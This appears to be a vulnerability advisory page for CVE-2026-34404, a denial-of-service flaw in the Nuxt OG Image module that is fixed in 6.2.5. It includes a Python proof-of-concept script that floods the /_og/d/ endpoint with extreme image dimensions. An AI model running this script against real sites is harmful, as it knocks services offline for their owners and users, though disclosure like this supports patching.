CVE-2026-34404

Description

Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates. This issue has been patched in version 6.2.5.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nuxt:og_image:*:*:*:*:*:node.js:*:* - VULNERABLE

Nuxt OG Image < 6.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(url):
    """
    PoC for CVE-2026-34404: Nuxt OG Image DoS
    Sends a request with excessive width/height to trigger resource exhaustion.
    """
    target_url = f"{url.rstrip('/')}/_og/d/"
    
    # Payload with extreme dimensions to trigger DoS
    params = {
        "width": 99999999,
        "height": 99999999
    }

    try:
        print(f"Sending request to: {target_url}")
        response = requests.get(target_url, params=params, timeout=10)
        print(f"Status Code: {response.status_code}")
        if response.status_code == 200 or response.status_code == 500:
            print("[!] Potential Vulnerability Detected: Server processed the request or errored out.")
        else:
            print("[-] Server may not be vulnerable or endpoint has changed.")
    except requests.exceptions.Timeout:
        print("[!] Request timed out: Possible successful Denial of Service triggered.")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    target = input("Enter target URL (e.g., http://localhost:3000): ")
    check_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34404
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34404
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34404/
[4] VulDB https://vuldb.com/cve/CVE-2026-34404
[5] https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c7xp-q6q8-hg76
[6] https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c7xp-q6q8-hg76

Raw JSON Data

JSON

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